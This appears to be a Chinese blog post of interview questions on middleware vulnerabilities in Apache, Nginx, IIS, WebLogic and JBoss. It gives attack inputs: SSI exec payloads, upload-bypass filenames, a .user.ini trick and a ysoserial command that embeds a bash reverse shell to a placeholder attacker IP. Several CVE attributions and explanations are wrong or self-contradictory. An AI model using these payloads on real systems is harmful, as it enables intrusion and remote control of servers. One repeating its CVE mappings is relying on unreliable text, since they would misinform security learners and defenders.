Loading ...
中间件漏洞面试题

1. 中间件概念是什么?

中间件是位于操作系统和应用程序之间的软件层,用于提供通用服务(如通信、数据处理、安全等),简化分布式系统开发。它屏蔽底层复杂性,使应用程序更易集成、扩展和维护,常见于企业级应用、Web 服务和分布式系统。

2. 常见的中间件有哪些?

  • Web 服务器:Apache HTTP Server、Nginx、IIS(Internet Information Services)

  • 应用服务器:WebLogic、JBoss、Tomcat、WebSphere

  • 消息队列:RabbitMQ、Kafka、ActiveMQ

  • 数据库中间件:MySQL Proxy、Oracle Data Integrator

  • 缓存中间件:Redis、Memcached

3. 中间件漏洞有哪些?(大概介绍)

  • 配置漏洞:错误的权限设置、不安全的默认配置(如开放不必要的端口)。

  • 代码执行漏洞:通过输入注入恶意代码(如 SQL 注入、命令注入)。

  • 反序列化漏洞:利用不安全的对象反序列化执行任意代码(如 Weblogic、Fastjson)。

  • 解析漏洞:文件解析逻辑错误导致恶意文件被执行(如 Nginx、Apache 解析漏洞)。

  • 协议漏洞:特定协议实现中的缺陷(如 Weblogic 的 T3 协议漏洞)。

4. 遇见过哪些常见中间件的漏洞?

  • Apache:多后缀解析漏洞、SSI 命令执行漏洞。

  • Nginx:路径截断解析漏洞(如 image.jpg/.php)。

  • Weblogic:T3 协议反序列化漏洞(CVE-2017-10271、CVE-2020-14882)。

  • JBoss:反序列化漏洞(CVE-2017-7504、CVE-2017-12149)。

  • IIS:解析漏洞(如 .asp;.jpg 被当作 ASP 执行)。

5. Apache HTTPD 多后缀解析漏洞是什么?

Apache HTTPD 多后缀解析漏洞是指当服务器配置不当(如启用 AddHandler cgi-script .cgi 等类似规则)时,攻击者可通过构造包含多个后缀的文件名(如 test.php.aaa),使 Apache 错误解析文件类型,将本不应被解析为脚本的文件当作脚本执行,从而可能导致远程代码执行的漏洞。

例如,若服务器允许 .php 后缀文件被 PHP 解析,攻击者上传 shell.php.jpg 时,Apache 可能因错误识别最后一个有效后缀为 .php,而将该文件作为 PHP 脚本执行,触发漏洞。

6. Apache 多后缀解析漏洞原理是什么?

Apache 解析文件时,会从文件名的最后一个 . 开始向前识别,寻找第一个在配置中定义过的 “有效后缀”,并按该后缀对应的规则解析文件。

  • 若服务器配置了类似 AddType application/x-httpd-php .php(即 .php 后缀文件由 PHP 解析),攻击者构造 test.php.abc 时,Apache 会忽略 .abc(未配置关联解析规则),识别 .php 为有效后缀,从而将文件作为 PHP 脚本解析。

  • 核心原因是 Apache 的 “后缀优先级” 机制:优先匹配最左侧的有效后缀,而非最后一个后缀,导致多后缀文件名被错误解析。

7. Apache HTTPD 换行解析漏洞是什么?

Apache HTTPD 换行解析漏洞(CVE-2017-15715)是存在于 Apache 2.4.0~2.4.29 版本中的漏洞。当服务器启用 mod CGImod cgid 模块时,攻击者可通过在 URL 中插入换行符(%0A)构造特殊请求,绕过 Apache 的 CGI 路径验证规则,执行任意 CGI 脚本,进而可能导致远程命令执行。

例如,攻击者访问 http://example.com/cgi-bin/test%0A.sh 时,换行符会干扰 Apache 对路径的解析,使服务器误将恶意脚本当作合法 CGI 程序执行。

8. Apache SSI 远程命令执行漏洞是什么?

SSI(Server-Side Includes,服务器端包含)是 Apache 的一项功能,允许在 HTML 页面中嵌入指令(如 <!--#exec cmd="ls"-->),服务器解析页面时会执行这些指令并将结果嵌入页面。 Apache SSI 远程命令执行漏洞是指当服务器启用 SSI 功能(如配置 AddType text/html .shtml 且允许 .shtml 等文件使用 SSI 指令),且攻击者能上传包含 SSI 指令的文件(如 .shtml 或被错误解析为 SSI 类型的文件)时,可通过嵌入 exec 等指令执行系统命令,实现远程命令执行。

例如,攻击者上传 shell.shtml,内容为 <!--#exec cmd="id"-->,服务器解析该文件时会执行 id 命令并返回结果,导致漏洞利用。

9. Nginx 解析漏洞是什么?

Nginx 解析漏洞是指攻击者通过构造特殊文件名或请求路径,利用 Nginx 与后端 PHP-FPM 交互时的解析逻辑缺陷,使服务器将非 PHP 文件(如图片)当作 PHP 脚本执行,从而实现远程代码执行的漏洞。常见类型包括:

  1. 路径截断漏洞

    • 漏洞条件:Nginx 配置中存在 location ~ \.php$ 规则,且使用 fastcgi_pass 转发请求到 PHP-FPM。

    • 攻击方式:请求 http://example.com/test.jpg/.php,Nginx 因正则匹配规则将路径截断为 test.jpg,但 PHP-FPM 可能将其解析为 test.jpg.php,导致图片文件被当作 PHP 执行。

  2. 空字节漏洞(CVE-2009-2625)

    • 漏洞条件:Nginx ≤ 0.8.37 版本。

    • 攻击方式:请求 http://example.com/shell.php%00.jpg,空字节(%00)会截断 Nginx 的路径处理逻辑,使服务器将 shell.php 作为文件名解析,而忽略 .jpg 后缀,触发 PHP 解析。

10. Nginx 文件名逻辑漏洞是什么?

Nginx 文件名逻辑漏洞是指攻击者通过构造特殊符号(如分号、点等),利用 Nginx 对文件名的处理逻辑缺陷,绕过前端过滤机制,使恶意文件被错误解析为可执行脚本。常见场景包括:

  1. 分号截断漏洞

    • 攻击方式:上传 shell.php;.jpg,Nginx 在处理分号时可能将其视为 URI 参数分隔符,导致实际传递给 PHP-FPM 的文件名为 shell.php,而 .jpg 被忽略,触发 PHP 解析。

  2. 点号处理漏洞

    • 攻击方式:上传 shell.php.(末尾带点),某些配置下 Nginx 会将其规范化为 shell.php,导致文件被错误解析为 PHP。

11. IIS 7.5 解析漏洞是什么?

IIS 7.5 解析漏洞是指 Internet Information Services (IIS) 7.5 版本中存在的文件解析逻辑缺陷,攻击者可通过构造特殊文件名,使服务器将非 ASP 文件当作 ASP 脚本执行,导致任意代码注入。主要类型包括:

  1. 分号截断漏洞(CVE-2011-1260)

    • 漏洞条件:IIS 7.5 + FastCGI 模式。

    • 攻击方式:请求 http://example.com/shell.asp;.jpg,IIS 会忽略分号及后面的内容,将 shell.asp 作为文件名解析,导致恶意代码被执行。

  2. PHP 解析漏洞

    • 漏洞条件:IIS 7.5 + PHP 配置错误。

    • 攻击方式:上传 shell.php.jpg,若 IIS 配置中 .php 处理规则优先级高于 .jpg,则该文件可能被当作 PHP 执行。

  3. .user.ini 漏洞

    • 漏洞条件:PHP 配置允许 user_ini.filename(默认 .user.ini)。

    • 攻击方式:上传 .user.ini 文件,内容为 auto_prepend_file=shell.jpg,然后上传包含 PHP 代码的 shell.jpg,使服务器自动加载并执行该文件。

12. Weblogic 里什么是 T3 协议?

T3 是 Oracle WebLogic Server 内部使用的二进制通信协议,用于实现服务器间的远程方法调用(RMI)和集群通信。它支持对象序列化和反序列化,允许 Java 对象在网络间传输,默认监听端口为 7001

  • 核心功能

    • 实现 WebLogic 集群节点间的数据同步和负载均衡;

    • 支持 JNDI(Java Naming and Directory Interface)服务,用于查找和访问远程对象;

    • 传输序列化的 Java 对象,包括自定义类和系统类。

13. Weblogic 漏洞原理是什么?

Weblogic 漏洞主要源于不安全的反序列化组件设计缺陷

  • 反序列化漏洞:Weblogic 在处理 T3 协议或 HTTP 请求时,未对输入的序列化对象进行严格校验,攻击者可构造恶意对象(如利用 Apache Commons Collections 等 Gadget 链),触发远程代码执行(RCE)。

  • 组件漏洞:Weblogic 内置的一些组件(如 WLS Security、Web Services)存在设计缺陷,可能被利用绕过认证或执行任意代码。

14. Weblogic 漏洞有哪些?

常见高危漏洞包括:

  • 反序列化漏洞

    • CVE-2017-10271(WLS 反序列化):利用 T3 协议执行任意代码,影响版本 10.3.6.0/12.1.3.0/12.2.1.1/12.2.1.2;

    • CVE-2019-2725(WebLogic Server WLS 组件):通过 T3 协议触发 RCE;

    • CVE-2020-14882/14883:绕过认证执行任意代码,无需 T3 协议。

  • 组件漏洞

    • CVE-2021-2109(WebLogic Server 管理控制台):任意文件上传导致 RCE;

    • CVE-2021-35535(WebLogic 反序列化):通过 HTTP 请求触发 RCE。

15. Weblogic 反序列化漏洞原理是什么?

  • 核心机制 攻击者构造包含恶意代码的序列化对象(如实现 readObject() 方法的类),通过 T3 协议或 HTTP 请求发送至 Weblogic 服务器。服务器在反序列化过程中,会自动调用 readObject() 方法,触发恶意代码执行。

  • 利用链 常见利用链包括 Apache Commons Collections(CC 链)、BeanShell、Groovy 等,通过这些库的反射机制执行系统命令。

16. Weblogic T3 协议反序列化原理是什么?

  • 攻击路径

    1. 攻击者通过 T3 协议连接到 Weblogic 服务器(默认端口 7001);

    2. 构造恶意序列化对象(如包含 Runtime.getRuntime().exec("命令") 的对象);

    3. 将对象封装在 T3 协议包中发送给服务器;

    4. 服务器反序列化该对象时,触发 readObject() 方法执行命令。

  • 关键条件

    • 服务器需开启 T3 协议(默认开启);

    • 服务器类路径中存在可用的 Gadget 库(如 Apache Commons Collections)。

17. Weblogic 反序列化漏洞利用方式有哪些?

  • 工具利用

    • 使用ysoserial生成恶意 payload:

      java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/攻击机IP/4444 0>&1" > payload.ser
    • 通过 T3 协议发送 payload:

      python weblogic_t3_exploit.py -t 目标IP -p 7001 -f payload.ser
  • 直接攻击

    • 针对 CVE-2020-14882,通过构造特殊 HTTP 请求绕过认证,上传并执行恶意 WAR 包。

18. 什么是 Jboss?

JBoss 是开源的 Java EE 应用服务器,由 JBoss Community 开发,后被 Red Hat 收购。它支持 EJB、Servlet、JSP、JMS 等企业级 Java 技术,提供分布式应用部署和管理功能,常用于构建大型企业级 Web 应用。

  • 核心组件

    • JBoss AS(Application Server):基础应用服务器;

    • JBoss EAP(Enterprise Application Platform):Red Hat 提供的企业版;

    • WildFly:JBoss AS 的下一代版本,更轻量、模块化。

19. JBOSS 漏洞原理是什么?

JBoss 漏洞主要源于不安全的反序列化管理接口未授权访问组件设计缺陷

  • 反序列化漏洞:JBoss 在处理 HTTP 请求或 RMI 通信时,未对输入的序列化对象进行严格校验,攻击者可构造恶意对象触发远程代码执行(RCE)。

  • 管理接口漏洞:默认配置下,JBoss 的管理控制台(如 /admin-console)可能未授权访问,攻击者可上传恶意 WAR 包。

  • 组件漏洞:如 JBoss 的 JMX(Java Management Extensions)组件、Web 服务等存在设计缺陷,可能被利用绕过安全限制。

20. Jboss CVE-2017-12149 漏洞原理是什么?

CVE-2017-12149 是 JBoss EAP 6.x 及以下版本的反序列化漏洞,攻击者通过构造恶意的 jboss.j2ee.jar 文件,利用 JBoss 对 JAR 文件处理时的反序列化逻辑,触发 RCE。

  • 攻击路径

    1. 攻击者构造包含恶意序列化对象的 JAR 文件;

    2. 通过 HTTP 请求上传该文件至 JBoss 服务器;

    3. JBoss 在处理 JAR 文件时反序列化其中的对象,执行恶意代码。

21. Jboss CVE-2017-7504 漏洞原理是什么?

CVE-2017-7504 是 JBoss AS 5.x/6.x 版本的反序列化漏洞,攻击者通过向 /invoker/readonly/invoker/nonreadonly 接口发送特制的 HTTP 请求,利用 Apache Commons Collections 链执行任意代码。

  • 攻击路径

    1. 攻击者构造包含恶意序列化对象的 HTTP 请求;

    2. 请求被发送至 JBoss 的 JMXInvokerServlet 组件;

    3. 组件反序列化请求数据时,触发恶意代码执行。

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇